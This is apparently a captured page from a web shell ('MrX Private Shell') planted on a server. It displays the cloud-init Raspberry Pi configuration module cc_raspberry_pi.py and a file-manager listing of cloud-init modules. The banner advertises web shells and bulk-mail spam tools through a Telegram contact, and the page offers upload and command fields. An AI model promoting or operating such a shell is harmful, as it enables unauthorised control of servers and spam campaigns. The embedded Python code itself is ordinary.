__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
# Copyright (C) 2024-2025, Raspberry Pi Ltd.
#
# Author: Paul Oberosler <[email protected]>
#
# This file is part of cloud-init. See LICENSE file for license information.

import logging
from typing import Union

from cloudinit import subp
from cloudinit.cloud import Cloud
from cloudinit.config import Config
from cloudinit.config.schema import MetaSchema
from cloudinit.settings import PER_INSTANCE

LOG = logging.getLogger(__name__)
RPI_BASE_KEY = "rpi"
RPI_INTERFACES_KEY = "interfaces"
ENABLE_RPI_CONNECT_KEY = "enable_rpi_connect"
SUPPORTED_INTERFACES = {
    "spi": "do_spi",
    "i2c": "do_i2c",
    "serial": "do_serial",
    "onewire": "do_onewire",
    "remote_gpio": "do_rgpio",
}
RASPI_CONFIG_SERIAL_CONS_FN = "do_serial_cons"
RASPI_CONFIG_SERIAL_HW_FN = "do_serial_hw"

meta: MetaSchema = {
    "id": "cc_raspberry_pi",
    "distros": ["raspberry-pi-os"],
    "frequency": PER_INSTANCE,
    "activate_by_schema_keys": [RPI_BASE_KEY],
}


def configure_rpi_connect(enable: bool) -> None:
    LOG.debug("Configuring rpi-connect: %s", enable)

    num = 0 if enable else 1

    try:
        subp.subp(["/usr/bin/raspi-config", "do_rpi_connect", str(num)])
    except subp.ProcessExecutionError as e:
        LOG.error("Failed to configure rpi-connect: %s", e)


def is_pifive() -> bool:
    try:
        subp.subp(["/usr/bin/raspi-config", "nonint", "is_pifive"])
        return True
    except subp.ProcessExecutionError:
        return False


def configure_serial_interface(
    cfg: Union[dict, bool], instCfg: Config, cloud: Cloud
) -> None:
    def get_bool_field(cfg_dict: dict, name: str, default=False):
        val = cfg_dict.get(name, default)
        if not isinstance(val, bool):
            LOG.warning(
                "Invalid value for %s.serial.%s: %s",
                RPI_INTERFACES_KEY,
                name,
                val,
            )
            return default
        return val

    enable_console = False
    enable_hw = False

    if isinstance(cfg, dict):
        enable_console = get_bool_field(cfg, "console")
        enable_hw = get_bool_field(cfg, "hardware")

    elif isinstance(cfg, bool):
        # default to enabling console as if < pi5
        # this will also enable the hardware
        enable_console = cfg

    if not is_pifive() and enable_console:
        # only pi5 has 2 usable UARTs
        # on other models, enabling the console
        # will also block the other UART
        enable_hw = True

    try:
        subp.subp(
            [
                "/usr/bin/raspi-config",
                "nonint",
                RASPI_CONFIG_SERIAL_CONS_FN,
                str(0 if enable_console else 1),
            ]
        )

        try:
            subp.subp(
                [
                    "/usr/bin/raspi-config",
                    "nonint",
                    RASPI_CONFIG_SERIAL_HW_FN,
                    str(0 if enable_hw else 1),
                ]
            )
        except subp.ProcessExecutionError as e:
            LOG.error("Failed to configure serial hardware: %s", e)

        # Reboot to apply changes
        cmd = cloud.distro.shutdown_command(
            mode="reboot",
            delay="now",
            message="Rebooting to apply serial console changes",
        )
        subp.subp(cmd)
    except subp.ProcessExecutionError as e:
        LOG.error("Failed to configure serial console: %s", e)


def configure_interface(iface: str, enable: bool) -> None:
    assert (
        iface in SUPPORTED_INTERFACES.keys() and iface != "serial"
    ), f"Unsupported interface: {iface}"

    try:
        subp.subp(
            [
                "/usr/bin/raspi-config",
                "nonint",
                SUPPORTED_INTERFACES[iface],
                str(0 if enable else 1),
            ]
        )
    except subp.ProcessExecutionError as e:
        LOG.error("Failed to configure %s: %s", iface, e)


def handle(name: str, cfg: Config, cloud: Cloud, args: list) -> None:
    if RPI_BASE_KEY not in cfg:
        return
    elif not isinstance(cfg[RPI_BASE_KEY], dict):
        LOG.warning(
            "Invalid value for %s: %s",
            RPI_BASE_KEY,
            cfg[RPI_BASE_KEY],
        )
        return
    elif not cfg[RPI_BASE_KEY]:
        LOG.debug("Empty value for %s. Skipping...", RPI_BASE_KEY)
        return

    for key in cfg[RPI_BASE_KEY]:
        if key == ENABLE_RPI_CONNECT_KEY:
            enable = cfg[RPI_BASE_KEY][key]

            if isinstance(enable, bool):
                configure_rpi_connect(enable)
            else:
                LOG.warning(
                    "Invalid value for %s: %s", ENABLE_RPI_CONNECT_KEY, enable
                )
            continue
        elif key == RPI_INTERFACES_KEY:
            if not isinstance(cfg[RPI_BASE_KEY][key], dict):
                LOG.warning(
                    "Invalid value for %s: %s",
                    RPI_BASE_KEY,
                    cfg[RPI_BASE_KEY][key],
                )
                return
            elif not cfg[RPI_BASE_KEY][key]:
                LOG.debug("Empty value for %s. Skipping...", key)
                return

            subkeys = list(cfg[RPI_BASE_KEY][key].keys())
            # Move " serial" to the end if it exists
            if "serial" in subkeys:
                subkeys.append(subkeys.pop(subkeys.index("serial")))

            # check for supported ARM interfaces
            for subkey in subkeys:
                if subkey not in SUPPORTED_INTERFACES.keys():
                    LOG.warning(
                        "Invalid key for %s: %s", RPI_INTERFACES_KEY, subkey
                    )
                    continue

                enable = cfg[RPI_BASE_KEY][key][subkey]

                if subkey == "serial":
                    if not isinstance(enable, (dict, bool)):
                        LOG.warning(
                            "Invalid value for %s.%s: %s",
                            RPI_INTERFACES_KEY,
                            subkey,
                            enable,
                        )
                    else:
                        configure_serial_interface(enable, cfg, cloud)
                    continue

                if isinstance(enable, bool):
                    configure_interface(subkey, enable)
                else:
                    LOG.warning(
                        "Invalid value for %s.%s: %s",
                        RPI_INTERFACES_KEY,
                        subkey,
                        enable,
                    )
        else:
            LOG.warning("Unsupported key: %s", key)
            continue

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
schemas Folder 0755
__init__.py File 40 B 0644
cc_ansible.py File 10.48 KB 0644
cc_apk_configure.py File 4.23 KB 0644
cc_apt_configure.py File 38.25 KB 0644
cc_apt_pipelining.py File 1.86 KB 0644
cc_bootcmd.py File 1.65 KB 0644
cc_byobu.py File 2.73 KB 0644
cc_ca_certs.py File 8.81 KB 0644
cc_chef.py File 13.19 KB 0644
cc_disable_ec2_metadata.py File 1.6 KB 0644
cc_disk_setup.py File 51.39 KB 0644
cc_fan.py File 1.95 KB 0644
cc_final_message.py File 2.5 KB 0644
cc_growpart.py File 18.37 KB 0644
cc_grub_dpkg.py File 5.39 KB 0644
cc_install_hotplug.py File 3.18 KB 0644
cc_keyboard.py File 1.49 KB 0644
cc_keys_to_console.py File 2.09 KB 0644
cc_landscape.py File 3.06 KB 0644
cc_locale.py File 1.18 KB 0644
cc_lxd.py File 13.44 KB 0644
cc_mcollective.py File 4.11 KB 0644
cc_mounts.py File 18.81 KB 0644
cc_ntp.py File 19.05 KB 0644
cc_package_update_upgrade_install.py File 3.82 KB 0644
cc_phone_home.py File 3.74 KB 0644
cc_power_state_change.py File 5.99 KB 0644
cc_puppet.py File 10.72 KB 0644
cc_raspberry_pi.py File 6.47 KB 0644
cc_reset_rmc.py File 4.33 KB 0644
cc_resizefs.py File 10.63 KB 0644
cc_resolv_conf.py File 3.13 KB 0644
cc_rh_subscription.py File 15.19 KB 0644
cc_rsyslog.py File 11.47 KB 0644
cc_runcmd.py File 1.6 KB 0644
cc_salt_minion.py File 3.96 KB 0644
cc_scripts_per_boot.py File 1.27 KB 0644
cc_scripts_per_instance.py File 1.26 KB 0644
cc_scripts_per_once.py File 1.24 KB 0644
cc_scripts_user.py File 1.25 KB 0644
cc_scripts_vendor.py File 1.26 KB 0644
cc_seed_random.py File 3 KB 0644
cc_set_hostname.py File 3.4 KB 0644
cc_set_passwords.py File 10.32 KB 0644
cc_snap.py File 3.32 KB 0644
cc_spacewalk.py File 2.64 KB 0644
cc_ssh.py File 10.96 KB 0644
cc_ssh_authkey_fingerprints.py File 3.76 KB 0644
cc_ssh_import_id.py File 5.44 KB 0644
cc_timezone.py File 1.13 KB 0644
cc_ubuntu_autoinstall.py File 1.24 KB 0644
cc_ubuntu_drivers.py File 4.08 KB 0644
cc_ubuntu_pro.py File 13.64 KB 0644
cc_update_etc_hosts.py File 2.46 KB 0644
cc_update_hostname.py File 2.18 KB 0644
cc_users_groups.py File 2.86 KB 0644
cc_wireguard.py File 6.67 KB 0644
cc_write_files.py File 6 KB 0644
cc_write_files_deferred.py File 1.28 KB 0644
cc_yum_add_repo.py File 4.53 KB 0644
cc_zypper_add_repo.py File 4.93 KB 0644
modules.py File 13.32 KB 0644
schema.py File 50.77 KB 0644
Filemanager